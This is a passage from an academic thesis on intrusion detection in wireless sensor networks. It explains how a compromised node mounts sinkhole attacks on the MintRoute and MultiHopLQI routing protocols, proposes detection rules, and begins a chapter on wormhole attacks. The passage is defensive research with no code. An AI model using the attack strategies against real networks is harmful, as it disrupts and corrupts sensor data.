and misuse detection rules/algorithms (loaded in its Local Detection Engine) and on its ability to

withstand attacks targeting the IDS itself. As discussed in Section 3.4.2, our focus is mainly against

insider attackers that can compromise a number of network nodes, and therefore have complete

access to any cryptographic contents and messages routed through the network, but are limited

to the CPU, power, bandwidth, and range limitations of the network’s mote platform. We do not

assume the existence of any extra specialized hardware like directional antennas, faster CPU, or

preprocessing units that can be used to avoid detection. Therefore, our proposed intrusion detection

architecture can withstand attacks like false data injection, selective reporting, impersonation and

routing attacks but not attacks based on additional hardware like communication channel jamming,

targeted interference, etc.

Nevertheless, even in the presence of such specialized hardware components our proposed in-

trusion detection scheme can be enhanced with sufficient rules and algorithms (like the ones to be

presented in the following chapters against a subset of routing attacks) for countering their impact
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on the network itself. In order to look for corresponding anomalies one has to, first, study such

threat models, understand their operation and effects, and then move on designing lightweight

countermeasures. However, this is out of the scope of this work and is left as an interesting future

direction that we wish to investigate in depth. In general, we believe that rules and principles

against specific attacks, like the ones that we will present, prove the applicability of an IDS sys-

tem like LIDeA and if properly generalized could lead to even better and more resilient intrusion

detection designs against a wider range of attacks and vulnerabilities.

Of course we should mention that there are cases where the attacker can participate in the

protocol, manipulate the intrusion detection process and bring a portion of the honest nodes to

a wrong conclusion (see also the formal requirements highlighted in Section 3.5.2). By “wrong

conclusion” we mean one of the following things: (i) the Voting Phase was inconclusive on the

attacker’s identity because the intersection of the suspected sets produced a set of more than one

node, or (ii) the attacker succeeded in framing another node (false positive) causing it to be voted

as wrong-doer.

s

w
v

p

u

q

Figure 3.10: Network topology where LIDeA IDS agent hosted in node p fails to conclude on the
attacker’s ID.

However, this depends on the topology of the network. For example consider the case depicted

in Figure 3.10: Here node q is the attacker and nodes s, u, v, w, and p are the alerted honest nodes

that detect that something is wrong in their neighborhood. As we can see, node p is connected to

nodes s and u through two paths; one “short” path (one hop away) through the intruding node

p, and one “long” path (multiple hops away) through the other honest alerted nodes. Therefore,

the attacker can perform a man in the middle attack (Section 3.6.4) succeeding in impersonating

nodes s and u and sending fake authentic votes to node p. This can happen because it takes

less time for the attacker to withhold a vote, change it, sign it with the new published key and
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forward it to node p rather than p receiving the honest votes from the multi-hop path of the alerted

nodes. However, as we assume that all nodes know their k-hop neighborhood, the fake votes may

only contain neighbors of the impersonated nodes. Otherwise, the attackers messages would be

discarded. Following the intrusion detection algorithm presented in Section 3.6, at the end of the

process, the attacker would have succeeded in misleading the IDS agent of node p to produce a

result set comprised of four possible attacker IDs {q, u, v, w}.
While such a way of acting (from the attacker’s side) can hide her existence, we have to highlight

three important things. First, as we can see in Figure 3.10, the network topology must be such

so that there aren’t any “short” residual paths, connecting a pair of honest nodes, other than the

one using the intruding node. However, as will be demonstrated in Chapter 5, this probability is

relatively small. Second, the attacker must be equipped with accurate clocks and strong processing

units in order to quickly construct the fake authentic votes and forward them, before the “hard

deadline” timers of our algorithm fire. But this contradicts our assumption on the existence of

additional hardware. Finally, even in the worst case that such an attack is successful, its impact

is minimized to only a portion of the honest alerted nodes. For example, in the above described

scenario, the attacker can only influence the detection result of node p.

Consequently, we can argue that even in such cases where the attacker can manipulate the

detection process, we have managed to make it difficult for her and, most importantly, to minimize

the impact to only a subset of the honest nodes. In general, we believe that studying such specialized

topologies, for which our collaborative detection approach fails to conclude on the attacker’s ID, is

an interesting research direction that with further investigation can lead to even better intrusion

detection designs.

3.10 Conclusions

In this chapter, we discussed the problem of intrusion detection in sensor networks that utilizes a

large number of autonomous, but localized, cooperating agents in order to detect an attacker. The

nodes use coordinated surveillance by incorporating inter-agent communication and distributed

computing in decision making to collaboratively infer the identity of the attacker from a set of

suspicious nodes.

Despite the necessity of intrusion detection schemes for wireless sensor networks, a good solution

has not yet been devised. Of course, as we mentioned, this is due largely to the resource constraints

present in this type of networking. However, the demonstrated implementation details of our IDS

system, show that is is lightweight enough to run on sensor nodes, in terms of communication,

energy, and memory requirements. This shows that studying the problem of intrusion detection
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in sensor networks is a viable research direction and with further investigation it can provide even

more attractive solutions for securing such types of networks.

However, resource constraints are not the only source of difficulty. Another issue is that it is still

hard to develop methods for reliably detecting intruders in sensor networks. As such, it is difficult

to define characteristics (or signatures) that are specific to a network intrusion as opposed to the

normal network traffic. In the next two chapters, we will present such novel detection algorithms

for securing the network against two of the most severe routing attacks, namely the sinkhole and

wormhole attacks. We believe that rules and principles against specific attacks, like the ones

that we will present, can prove the applicability of an IDS system like LIDeA and if properly

generalized could lead to even better and more resilient intrusion detection designs. In general,

however, intrusion detection remains an ongoing research direction requiring constant improvement

of technologies and processes to match the pace of attacks innovation.
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Chapter 4

The Sinkhole Attack; Severity
Analysis and Countermeasures

4.1 Introduction

The next step towards a complete intrusion detection system for WSNs is to employ resistant

countermeasures for defending against an intrusion attempt. As will be shown in this chapter,

a set of effective and efficient misuse rules can be produced by a comprehensive analysis of the

attack. More specifically, we extend LIDeA so that it can detect sinkhole attacks, a particularly

severe attack that prevents the base station from obtaining complete and correct sensing data, thus

forming a serious threat to higher-layer applications.

Following the discussion in Chapter 2, as WSNs continue to grow in size so does the amount

of data that nodes are capable of sensing. Therefore, sufficient protocols for routing the traffic

across the network and towards the base station are necessary. The network layer is actually

responsible for locating optimal paths across multiple nodes. However, it is well-known that such a

many-to-one communication is highly vulnerable to the sinkhole attack, where an intruder attracts

surrounding nodes with unfaithful routing information, and then alters the data passing through

it or performs selective forwarding. By tampering with routing service and modifying routing

information, attackers can cause the communication in WSNs to fail.

In a sinkhole attack, the attacker tries to attract all traffic through a compromised node, possibly

enabling further loopholes. Sinkholes can be created by making the compromised node look very

attractive with respect to the routing metrics, e.g. by announcing a low hop-count or a high link

quality to the destination. Sometimes the link quality is in fact extremely high, e.g. if the attacker

is a laptop-class attacker with a powerful transmitter. Otherwise, she might spoof or replay a

routing message. Then, the compromised node is likely to be included in the routing path of its

neighbors.
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What makes it even easier for attackers is the fact that although some secure or geographic

based routing protocols show resistance to the sinkhole attack (14), many current routing protocols

for sensor networks were not designed having security threats in mind (79) and rarely do they

incorporate trust or security mechanisms. As a consequence, deployments of such networks do

not include data routing protection and little or no effort is usually required from the side of the

attacker to perform the attack. So, it is very important to study realistic attacker models and

evaluate the practicality and efficiency of this type of routing threat.

This chapter investigates in depth the sinkhole attack, both from the attacker’s and defender’s

point of view. Our goal is to describe the most effective ways to launch this attack and demonstrate

them in practice. We reveal the weaknesses of the routing protocols that are most widely used by

the research community, hoping that this will lead to a better awareness of the threats and the

study of more efficient security protocols. Then we propose novel countermeasures against these

threats in the direction of intrusion detection having used LIDeA as our reference point.

The remainder of this chapter is structured as follows: Section 4.2 presents and justifies the

network model and assumptions we made throughout this work. It also states the routing protocols

considered here and why they were chosen. Section 4.3 describes the sinkhole attack in detail,

discuss its significance and how it can be launched against the adopted routing protocols. Section 4.4

is the heart of this work; it presents in detail specific detection rules that could make legitimate

nodes aware that such an attack takes place in their neighborhood. Section 4.5 considers previously

proposed countermeasures, and finally, Section 4.6 concludes this chapter.

4.2 System Model and Assumptions

4.2.1 Network & Routing Layer Model

There appears to be a great diversity in deployed routing protocols (RPs) for sensor networks. In

this work, we consider a large set of RPs relying on tree-based topology construction. In this case,

data is routed from sensor nodes to the sink through a tree rooted at the sink. The routing tree

is a collection of the shortest paths from each sensor to the sink based on some cost metric, which

can represent different application requirements such as cost hop count, packet loss, packet delay,

link quality, etc.

In link quality routing protocols, sensor nodes exchange their link quality advertisements to

determine good routes to the destination. Two of the most popular RPs fall into this category:

the MintRoute and the MultiHopLQI protocols. MintRoute is used in most real sensor networks

deployments today, as for example in (117, 118, 119) and has also served as the basis for the

development of the Collection Tree Protocol (120). Each node exchanges its expected packet loss
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rate with its neighbors and, then calculates a total estimate for the packet loss to the base station.

The route selection is based on the lowest packet loss (Section 4.3.1).

MultiHopLQI is based on the existence of a hardware indicator, called Link Quality Indicator

(LQI), which is believed to be a better indicator of link quality than RSSI. LQI is provided by

the CC 2420 radio chip which is part of many sensor node platforms, like the MicaZ, Telos and

Intel Mote2. This has led several routing protocols to adopt LQI, indicated by the last packet

as the criterion for parent selection. In this chapter we investigate one of these protocols, the

MultiHopLQI (121), which is widely used in MoteIV Tmote Sky (Figure 2.2). It has been also used

in several sensor network deployments (122, 123, 124). The Drain collection protocol is a derivative

of MultiHopLQI and served as the basis for the TinyOS 2.x dissemination service. Several other

custom routing protocols were designed based on MintRoute and MultiHopLQI.

4.2.2 Threat Model

We assume the presence of an attacker that can access (and eventually change) the internal state of

a sensor node. As we described in previous chapters, this type of attack is referred to as node capture

in the literature (40, 53). Most existing routing schemes for sensor networks can be substantially

influenced, even if the attacker captures one node or a minute portion of the network (79). For

simplicity, we will assume that the attacker has captured just one node which was previously

a legitimate member of the network. However, taking into consideration the discussions of our

intrusion detection system in Chapter 3, it will become clear to the reader that the same setting

can be generalized to more nodes.

To avoid detection, we assume that the attacker does not reprogram the memory of the node,

but she rather connects the node to a laptop in order to monitor the packets received. Then she

can change the contents of the packets and resend them using the attached node. Therefore, the

attacker has access only to her immediate vicinity and does not use a stronger transmitter or an

outbound communication channel.

4.3 The Sinkhole Attack

The sinkhole attack is a particularly severe attack that prevents the base station from obtaining

complete and correct sensing data, thus forming a serious threat to higher-layer applications. In

a Sinkhole attack (79), a compromised node tries to draw all or as much traffic as possible from

a particular area, by making itself look attractive to the surrounding nodes with respect to the

routing metric. As a result, the adversary manages to attract all traffic that is destined to the

base station. By taking part in the routing process, she can then launch more severe attacks, like

selective forwarding, modifying or even dropping the packets coming through.
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A compromised node does not necessarily have to target other nodes from areas outside its

neighborhood in order to control network traffic. The adversary needs only to launch the sinkhole

attack from a node as close as possible to the base station. In this case, by having the neighboring

nodes choose the intruder as their parent, all the traffic coming from their descendants will also

end up in the sinkhole. So the attack can be very effective even if it is launched locally, with small

effort from the side of the attacker. In the case of dynamic routing protocols (such as the ones

considered here), which are designed to achieve automatic path discovery and maintenance between

sensors according to the circumstances of the network, the sinkhole attack has severe effects. As

these protocols collect network information and decide routing paths periodically, the presence of

a sinkhole can compromise the entire network.

The strength of this attack stems from its transparency. The malicious node behaves as stated

in the protocol and neither performs extra communication nor requires additional hardware. Ad-

ditionally, the use of cryptography cannot prevent this attack because the malicious node may be

an existing node that has been compromised. In this case, the malicious node has legitimate keys

to communicate with the other nodes.

4.3.1 Sinkhole Attack on MintRoute

MintRoute uses link quality estimates as the routing cost metric to build the routing tree toward

the base station. For the calculation of these link estimates, MintRoute uses the packet error rate.

The nodes periodically transmit a packet, called “route update” and each node estimates the link

quality of its neighbors based on the packet loss of the packets received from each corresponding

neighbor. The list of these estimates for each neighbor is periodically broadcasted by the node in

its route update packets.

Every node maintains a Neighbor Table and updates it when it receives a route update packet.

This table stores a list with the IDs of all neighboring nodes and their corresponding link costs.

The node chooses its “parent node” to be the one with the best link quality in the Neighbor Table.

Note that the hop distance of each neighbor to the base station is not taken under consideration

in choosing the parent, unless two nodes have the same link quality.

The parent changing mechanism is triggered every time the link quality of one or more nodes

becomes 75% better than the link quality of the current parent, or the link quality of the current

parent drops below 25 in absolute value (with 255 being the maximum value). In such case, the

node with the highest quality becomes the new parent. However, if two of such candidate nodes

happen to have the same link quality, the new parent will be the one with the smaller hop count

to the base station.
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Figure 4.1: The two phases of sinkhole attack on MintRoute. (a) Node C (attacker) receives the route
update packet of node A. (b) Node C sends a forged packet to A, impersonating B. In both cases the
Neighbor Table of node A is indicated.

In the case of a routing protocol, like MintRoute that uses link estimates as the routing metric,

the compromised node launching the sinkhole attack will try to persuade its neighbors to change

their current parents and choose the sinkhole node as their new one. There are two ways to do

that:

1. Advertise an attractive link quality for itself,

2. Make other nodes look like they have worse link quality than itself.

Note that the attacker cannot launch a sinkhole attack by advertising that it has a lower hop

count to the base station, as this metric is not the primary criterion in this routing protocol. So

the attacker needs to come up with more sophisticated ways.

Moreover, just advertising a high link quality to the other nodes may not be enough, since for

robustness reasons most of these routing protocols do not allow changing parents frequently and

for no good reason. For example, when a node changes its parent, this could create a routing cycle

in the network, which is followed by an extra cost to resolve it. Therefore, aside from advertising

a high link quality for itself, another way for the attacking node to launch the sinkhole attack is to

make the current parents look like they have a very poor link quality, which will trigger the parent

changing mechanism in their children. Then the new parent to be chosen will be the sinkhole node.

The way to do that is to change the link quality estimates sent by the parent nodes, within

their route update packets. The attacker listens to the route update messages from its neighbors,

alters them and replays them impersonating the original sender. Even if there is an underlying
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key mechanism that nodes can use to communicate securely with each other, most probably the

attacker will be using a broadcast key shared with the nodes to be able to overhear, change and

send these packets.

Let’s take for example the case shown in Figure 4.1, where node C is the attacker and node

B is the current parent of node A. Node C has sent its own route update packet advertising a

fake link quality (at the maximum value of 255), but this is not enough to make node A change its

parent. Therefore, when it receives the route update packet of node A, it changes the link quality

of node B to a low value and sends it back to A as a unicast packet, impersonating B. Upon

receiving this packet, node A thinks it is a route update packet from B, it extracts the link quality

estimation and updates the corresponding entry in the Neighbor Table. This will trigger the parent

changing mechanism and since the link quality of node B is below 25, that node will be ignored in

the selection algorithm and node C will be chosen.

After performing the above attack for all of its neighbors, the Sinkhole node will eventually

attract the traffic passing through these nodes.

4.3.2 Sinkhole Attack on MultiHopLQI

From what we described in the previous section, the weakness of MintRoute is that each node is

based on the advertised link quality from other nodes to decide on its parent. In MultiHopLQI, the

nodes calculate the link quality based on their own hardware. Each node periodically broadcasts a

beacon message and the receivers extract the LQI given by their radio chip. This number is given

to a function that calculates the cost of the corresponding link. The cost is inversely proportional

to the LQI. The most attractive link is the one with the lowest cost. In what follows, we will use

the notation CostAB to indicate the cost estimation of node A for the link between itself and B.

The payload of the beacon message includes the sender’s current parent and a cost for the whole

path to the base station (i.e., the path cost). This cost is calculated as the sum of all the costs of

the links that make the path. For a node B that has a parent D, its path cost is calculated as

CostB = CostBD + CostD (4.1)

The value of CostB is included in the beacon of node B. Node A that receives the beacon, reads

and stores the value in a table. It also calculates CostAB as we described above and calculates its

own path cost, CostA, using Equation (4.1). Node A chooses as its parent the node that minimizes

CostA. According to this algorithm, we identify three ways for an attacker C to launch the sinkhole

attack:

1. Advertise a low path cost with its parent,

2. Make other nodes look like they have worse path costs than itself,
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3. Change its parent to the neighbor with the minimum path cost.

Let us describe each of the above strategies using the example shown in Figure 4.2. Let’s suppose

that initially the nodes have chosen their parents as depicted in Figure 4.2 (a). The path costs for

each node are also indicated. Node C is compromised by an attacker and her goal according to

the sinkhole attack is to attract as much traffic as possible from the neighboring nodes, convincing

them to choose C as their parent.
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Figure 4.2: Three sinkhole attacks on MultiHopLQI. Case (a) shows the original settings of the network
before the attack, while cases (b), (c) and (d) show the result of each of the three strategies.

The first and easiest way is to advertise the minimum path cost to the base station. This

is shown in Figure 4.2 (b). According to the function built in MultiHopLQI, the path cost that

corresponds to the maximum LQI is 15. The result of this attack is that nodes A, E and F change

their parents to C, as this reduces their corresponding path costs. This will also trigger the parent

changing mechanism at the parent of the attacker, node B. However, choosing any of the children

of C will result in the formation of a routing cycle since B is the attacker’s parent, and eventually

will be forced to go back to its old parent D. In the experiments, we noticed that this behavior of

B kept repeating, however according to the routing protocol, it is legitimate, so we consider that

the goal of the attack has been reached.

The second way to launch a sinkhole attack is for node C to impersonate a node and advertise

a very high path cost on its behalf. For example, in Figure 4.2 (c), the attacker broadcasts beacons

impersonating node E and advertises a path cost equal to, let’s say, 1000. Its child F updates
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its own path cost to 1000 + CostEF and realizes that choosing node C as its parent will reduce

it substantially. Since node E will keep broadcasting its legitimate beacons periodically (with

path cost 92), the attacker needs to do the same with its spoofed messages, immediately after the

messages of E. This will keep CostE in the memory of node F at the attacker’s desirable value.

If node C follows the same strategy for each node in its vicinity, it will manage to attract all the

traffic.

The third strategy for the attacker is to look for the node with the minimum path cost in the

neighborhood and advertise the best possible, but also legitimate, path cost for itself. For example,

in Figure 4.2 (d), node E has the best path cost. In this network, it is the case that

CostE + CostEC > CostB + CostBC ,

so node C had chosen B as its parent. For the attack, however, node C chooses E as its parent

and advertises a very attractive path cost, i.e., CostE + 15. This is much less than the path

cost it was advertising before. The neighbors will update this value in their tables and hopefully

their corresponding path costs will drop by choosing C as their parents, as it is the case with

Figure 4.2 (d). In the next section, we will see that this form of attack is the hardest to detect,

since the attacker does nothing that is not legitimate.

4.4 Detecting the Sinkhole Attack

Based on the vulnerabilities of the routing protocols that we exposed in the previous section, we

now move a step further and propose specific rules that can be used to detect the attack. Since all

communication in a WSN is conducted over the air, nodes can listen on the network and capture

and examine individual packets passing from their immediate neighborhood in real time. So, the

question that we try to answer in this section is whether nodes can autonomously, through hosted

IDS agents, realize that a sinkhole attack takes place in their neighborhood, without the help of

the base station or cluster-heads.

4.4.1 Detection Rules of MintRoute

In order to detect the sinkhole attack on MintRoute, we add a rule that will trigger an alert

whenever a malicious node tries to impersonate another node, according to the attack we described

in Section 4.3.1. The intuition is that route update packets should originate only from their

legitimate sender and the nodes should defend against impersonation attacks.

Detection Rule 1. For each overheard route update packet, check the sender field, which must

belong to one of your neighbors.
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Figure 4.3: The estimates of node A and node C for the quality of the link between them, based on
the packet loss rate.

For the example shown in Figure 4.1, the rule will be triggered in node B, since it will overhear

the packet sent by node C impersonating B. It will be also triggered in nodes E and F , which

will overhear a packet from node B without being neighbors of B. As the attacking node tries to

acquire more nodes using this method, the rule will be triggered in most of its neighbors.

There is also another rule that can be used by legitimate nodes, which is based on anomaly

detection. In particular, we make the following observation: according to MintRoute, each node

independently measures the link quality estimate of each neighbor and receives their estimates

through the route update packets. As one expects, these values cannot have a big deviation from

each other. For example, let’s take the link between the two nodes, A and C of the network in

Figure 4.1. Figure 4.3 shows the estimate of node A for the quality of that link and the estimate

of node C for the same link and for the same period of time. As it is expected, the estimates of

the two nodes for the same link are almost the same, with some small deviation. In particular, the

maximum difference that we found between the two link estimates was 49, which corresponds to

19.2%.
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Figure 4.4: The overall success rate of LIDeA framework.

As we said in Section 4.3.1, an attacking node may try to advertise a very high link quality for

itself, hoping that this value will be more than 75% better than the link quality estimate of a node

for its current parent. This advertisement is overheard by its neighbors. However, this value will

not correspond to the link quality estimate that the node has for the link with the attacking node.

This observation can help us define a second rule, as follows.

Detection Rule 2. For each [parent, child] pair of your neighbors, compare the link quality esti-

mate they advertise for the link between them. Their difference cannot exceed 50.

Let us note that for a node that detects an anomaly according to the above rules, it is only an

indication that a sinkhole attack is in progress. For example, using Detection Rule 1, there is no

way to know which node is trying to launch the attack, since the sender field is altered. The only

conclusion that can be drawn so far is that the attacker is one of the neighboring nodes, since the

route update packets are only broadcasted locally. Similarly, for Detection Rule 2, a monitoring

node cannot know which of the two nodes advertises fake link quality. However, because the goal

of the attacker is to attract as much traffic as possible (there is no point in affecting only a small

portion of nodes in a specific region) all of the neighboring IDS watchdogs, enhanced with these

detection rules, will be alerted that something is wrong. Therefore, incorporating such rules in an

intrusion detection system that induces collaboration with other nodes in the area, like the one

presented in Chapter 3, can lead to successful detection.
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For example, in Figure 4.4 we calculated the probability that LIDeA system successfully identi-

fies the attacker. To do this we run our intrusion detection protocol for 10.000 different topologies,

choosing each time a random attacker. If the voting phase was conclusive the protocol ended; oth-

erwise, the IDS agents were not able to deduce the attacker’s identity. As we can see, the protocol

always succeeded except for the cases where the topology was such that the intersection of the

suspected sets that each agent received produced a set of more than one node.

More specifically, given that all neighbors of the attacker were in alert mode, there were some

topologies where at least one node s had the exact same neighborhood as the attacker (this happened

due to random deployment of nodes). In this case, s will be suspected by the same number of nodes

as the attacker. Therefore, the voting phase and, hence, the intrusion detection will fail (100).

However, as we can infer from Figure 4.4, when the network becomes more dense this probability

drops, and for more than 7 neighbors in average it becomes less than 10%.

4.4.2 Detection Rules on MultiHopLQI

Since some of the attacker’s strategies are common between the two routing protocols, the corre-

sponding rules can also be applied to detect the sinkhole attack in MultiHopLQI. In particular, in

the case that the attacker tries to impersonate another node and advertise a high path cost (ref.

Figure 4.2 (c)), Detection Rule 1 from the previous section can be applied here as well.

For the strategy described in Figure 4.2 (b), where the attacker advertises the minimum path

cost, there is an inconsistency in the protocol itself that we can take advantage and define a new

rule. We notice that the path costs should be increasing as we move more hops away from the base

station. In other words, each node should be advertising a bigger path cost than its parent, as it

is derived by Equation (4.1). In this attack, it’s not hard to see that this condition is violated.

According to the description of the attack, the attacker advertises a path cost which is smaller

that its parent. The nodes that are neighbors of both the attacker and its parent have their path

costs stored in their memory, according to the protocol. So they could apply the following rule and

detect the attacker:

Description Rule 3. For each beacon, check that the advertised path cost of the node is bigger

than the path cost of its father.

If this rule is violated, one of the two nodes lies about its path cost and it has to be the one that

advertises the smaller cost. In a different case, in which the attacker for whatever reason advertises

a bigger path cost than its legitimate child, that child would immediately update its path cost

according to Equation (4.1) and may trigger the parent changing mechanism, depending on the
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Figure 4.5: The estimates of node E and node C for the quality of the link between them, based on
the LQI.

result. In any case however, the rule would not be violated. So this rule can lead to immediate

detection.

Detecting the third attack that we described in Section 4.3.2 for MultiHopLQI is more difficult,

because as we said, the attacker advertises a path cost that is within the limits and is higher than

the cost of its parent, as it is supposed to be. However, the advertised cost is still fake and does

not correspond to the real link quality, so, like what we did in the case of MintRoute, we turn to

anomaly detection. We made the same experiment and compared the LQI of two nodes, E and C,

for the link between them. As shown in Figure 4.5, they are the same, except for a small deviation.

The maximum observed difference was 7. So, for MultiHopLQI, we can define an equivalent rule

with Detection Rule 2, as follows.

Detection Rule 4. For each [parent, child] pair of your neighbors, compare the LQI they advertise

for the link between them. Their difference cannot exceed 10.

The only problem about applying this rule in practice is that nodes in MultiHopLQI do not

advertise the LQI that they calculate for their links. We strongly suggest this modification for future

designs of similar routing protocols. Alternatively, such a mechanism should be embedded in the
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running IDS system. The observations made in the previous section, regarding the incorporation

of such rules in a cooperative intrusion detection system (Figure 4.4), apply here as well.

4.5 Existing Sinkhole Countermeasures

A first approach on the detection of sinkhole attacks has been presented by Ngai et al. (125). This

approach involves the base station in the detection process, resulting in a high communication cost

for the protocol. The base station floods the network with a request message containing the IDs of

the affected nodes. The affected nodes reply to the base station with a message containing their

IDs, ID of the next hop and the associated cost. The received information is then used from the

base station to construct a network flow graph for identifying the sinkhole.

Another interesting detection scheme is proposed by Choi and Kim (126). Their presented

method can detect a sinkhole attack that uses LQI based routing and several detecting nodes.

General nodes collect minimum link costs inside a neighborhood, and detecting nodes compute the

minimum path cost with their surrounding detector nodes. Then they can detect an abnormally

strong signal from the actions of the malicious node by referring to the constructed minimum link

cost table.

Moving on, Tumrongwittayapak et al. (127) present a lightweight and robust solution for de-

tecting the sinkhole and selective forwarding attacks based on RSSI values of received messages.

Their proposed scheme needs collaboration of some extra monitor (EM) nodes. They use RSSI

values from four EM nodes to determine the positions of all sensor nodes with respect to the base

station. Then they use these information as a weight for monitoring all network traffic that passes

through various established routes.

Other existing protocols build detecting mechanisms for sinkhole attacks in sensor networks

that are based on routing protocols usually deployed in Ad-Hoc networks, like the Ad-hoc On-

demand Distance Vector protocol (AODV) (128) and the Dynamic Source Routing (DSR) proto-

col (129). However, in our experience, routing protocols specifically designed for sensor networks,

like MintRoute and MultiHopLQI, require much less resources and are usually preferred for such

networks.

In general, secure routing has been attracting the attention of many researchers (130), since it

is vital to guarantee correct operation of sensor protocols. The main conclusions of recent studies is

that updating current protocols with security extensions is not sufficient. The only viable solution

is to design them from scratch, with security in mind, and enhance their cooperation with efficient

intrusion detection systems.
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4.6 Conclusions

A sinkhole attack is considered to be a prominent attack that is carried out in order to alter the

correct routing in a wireless sensor network. The detection of such an attack is still a significantly

challenging task. In this chapter, we identified several vulnerabilities of a popular set of routing

protocols (link quality RPs) for sensor networks and showed how they can be exploited by an

attacker for establishing a sinkhole. It turns out that the effort the attacker has to put is minimal,

and the attack can go undetected, unless certain detection rules are applied.

We identified a first set of such rules, that can be incorporated in any hosted IDS agent, for

efficiently detecting the anomaly created by the sinkhole intrusion attempt. Then by having the

alerted nodes cooperate and exchange their partial views, they can conclude on the attacker’s iden-

tity. Furthermore, we highlighted the modifications that are necessary for securing the underlying

routing protocols. We believe that such a set of principles exhibit the strength of intrusion detec-

tion systems once enhanced with the appropriate detection specifications. In general, the results

of this chapter serve a two-fold purpose: they motivate a better design of routing protocols that

can make them more resilient to attacks and they also open the way for defining more general and

formal rules in intrusion detection designs.
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Chapter 5

The Wormhole Attack; Severity
Analysis and Countermeasures

5.1 Introduction

In multi-hop wireless systems, such as sensor networks, the need for cooperation among nodes to

relay each other’s data packets is fundamental. This is achieved by networking mechanisms, such as

routing, that require wireless nodes to be aware of their local neighborhoods. As we described in the

previous chapter, attacking the routing layer can lead to the degradation of the quality of service

of the targeted network or even disruption of its entire functionality. Having identified sufficient

rules for detecting the sinkhole attack, we continue our work by investigating a more challenging

routing threat in sensor networks, namely the wormhole attack (79). In this attack, an adversary

eavesdrops and tunnels messages received in one part of the network and replays them (possibly

selectively) in a different part, as shown in Figure 5.1. Thus nodes who would normally be multiple

hops away from a sink are convinced that they are one or two hops away via the wormhole.

We must emphasize that although the wormhole can have strong effects on routing, it is es-

sentially an attack against neighbor discovery (ND). Knowledge of k-hop neighbors is essential for

almost every routing protocol, MAC protocols and several other topology-control algorithms such

as construction of minimum-energy spanning trees. It is the process by which each node discovers

others within transmission range in order to coordinate with them for any subsequent communica-

tion. This often implies that every pair of neighboring nodes is physically close to each other. ND

is, therefore, a crucial first step in the process of self-organization in WSNs and must be secured

against intrusion attempts that may occur in hostile environments (131, 132, 133).

In this chapter, we explore the development of a localized algorithm that can detect wormhole

attacks on wireless networks directly based on connectivity information implied by the underly-

ing communication graph. Our work deviates from the customary strategies of using specialized

hardware in sensors, directional antennas, tight clock synchronization, or distance measurements
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Wormhole Endpoint A Wormhole Endpoint B

Figure 5.1: Demonstration of a wormhole attack. Nodes in area A consider nodes in area B their
neighbors and vice versa.

between the nodes, thus making this approach universally applicable. The detection algorithm can

be incorporated in an intrusion detection system (like the one presented in Chapter 3) where it

will be run on demand (independently), by the hosted IDS agents, when the existence (or not) of a

neighbor relationship needs to be verified. The intuition is to search for simple network structures

that indicate that no attack is taking place. Therefore, each agent can conclude on the identity of

the attacker without the need of communication amongst them. Experimental results show that

our algorithm’s efficiency is not affected even by frequent connectivity changes. We provide an an-

alytical evaluation of the algorithm’s performance and correctness showing that attack prevention

is 100% (even for low density networks) while keeping the running time and the percentage of false

positives very small.

The remainder of this chapter is organized as follows. The significance of wormhole attacks is

discussed in Section 5.2. In Section 5.3 we consider previously proposed countermeasures in detail,

and state our assumptions in Section 5.4. Section 5.5 is the heart of this work; it gives an insight

on the algorithm, a mathematical proof about its correctness along with a probabilistic analysis on

its behavior on legitimate node addition. We present simulation-based results and experiments on

real sensor devices in Section 5.6. Several issues related to the proposed protocol are analyzed and

discussed in Section 5.7. Finally, Section 5.8 concludes the chapter.

5.2 Significance of Wormhole Attacks

The wormhole attack is a severe threat against the routing control plane of a network and belongs

in the broad family of relaying attacks (134) where the adversary relays a healthy nodes’ packets

instantaneously in another part of the network. In this kind of attack, an adversary can convince
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Figure 5.2: Wormhole effect on the network
routing control plane. Projection of the two ends
of the wormhole.

Figure 5.3: At most two nodes x and y can be
packed inside a lune with distance more than the
radius r.

distant nodes that are only one or two hops away via the wormhole. For example, in Figure 5.1,

nodes in region A believe that neighbor links exist between them and nodes in region B that are

in reality far away from their transmission range. This is equivalent with taking all nodes in one

area and place them at just one point within another area, as shown in Figure 5.2.

To launch such an attack, an adversary establishes a low-latency link, referred as a wormhole

link. The link is formed in such a way so that nodes cannot detect it (i.e., wired connection or

out-of-band wireless transmission) and packets can travel from one end to the other faster that

they would normally do via a multi-hop route in the network. The significance of wormholes lies

in the fact that the adversary does not need to understand what she transfers through this link.

The tunneled packets can even be encrypted; in such a case, the adversary transfers the encrypted

bits through the wormhole, without breaking any cryptographic keys. Indeed, the adversary does

not even need to wait to receive the entire packet before she starts to transfer it to the other end

of the wormhole; she can operate on a bit-by-bit level (135). At the end, she is able to control

the underlying networking mechanisms and manipulate nodes to send more traffic through the

established link enabling other kind of attacks such as the Sinkhole attack (Chapter 4).

Overall, in order to mount a wormhole attack, the adversary does not need to compromise any

nodes in the network, thus allowing her to stay “invisible”; it is sufficient to install simple radio

transceivers that operate as packet repeaters. Hence, it is obvious, that defending a network against

such type of attacks is a hard task to achieve.
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5.3 Previous Wormhole Countermeasures

In this section we describe the most widely known proposed measures for mitigating the effects of

a wormhole attack in wireless networks. Enhancing routing with strong node authentication and

lightweight cryptography (79) was initially proposed as a countermeasure, however, the wormhole

attack cannot be defeated that easily as an attacker can simply forward encrypted packets.

An alternative set of mechanisms that operate independently from the underlying routing pro-

tocol is based on distance/time bounding techniques. Hu et al. (136) add a secure constraint (leash)

to each packet, such as timing or location information, that is used to infer whether a packet has

traveled a distance larger than physically possible. This technique works fine in the presence of spe-

cialized hardware for localization and synchronization; however, this assumption raises questions

about its applicability to ordinary sensor networks.

Another set of solutions use authenticated distance bounding of the round trip time (RTT) of

a message (135, 137, 138), received signal strength, or time difference of arrival (139) in order

to ensure that nodes are close to each other. The effectiveness of such schemes relies on the

immediate reception of responses to challenges sent, however, this may not be possible as MAC

protocols introduce random delays between the time a packet is sent and the actual time it is

transmitted via the radio interface. Su and Bopanna (140) also proposed a distributed detection

technique based on the propagation speed of requests and statistical profiling. It does not require

the clocks to be synchronized network-wide and no additional control packets are needed. However,

it is supposed to be complementary to the existing underlying routing protocols.

Another line of defense is the use of graph theoretic and visualization approaches. Buttyan

et al. (141) proposed two detection mechanisms where nodes report only the list of their believed

neighbors to the central entity. The first mechanism detects the increase in the network density

whereas the second detects the length decrease of the shortest paths between affected pair of

nodes. Similarly, Wang and Bhargava (142) proposed a centralized detection technique which uses

distance estimations between neighboring nodes in order to determine a “network layout” and

identify inconsistencies in it, using multi-dimensional scaling (MDS) techniques. Finally, the works

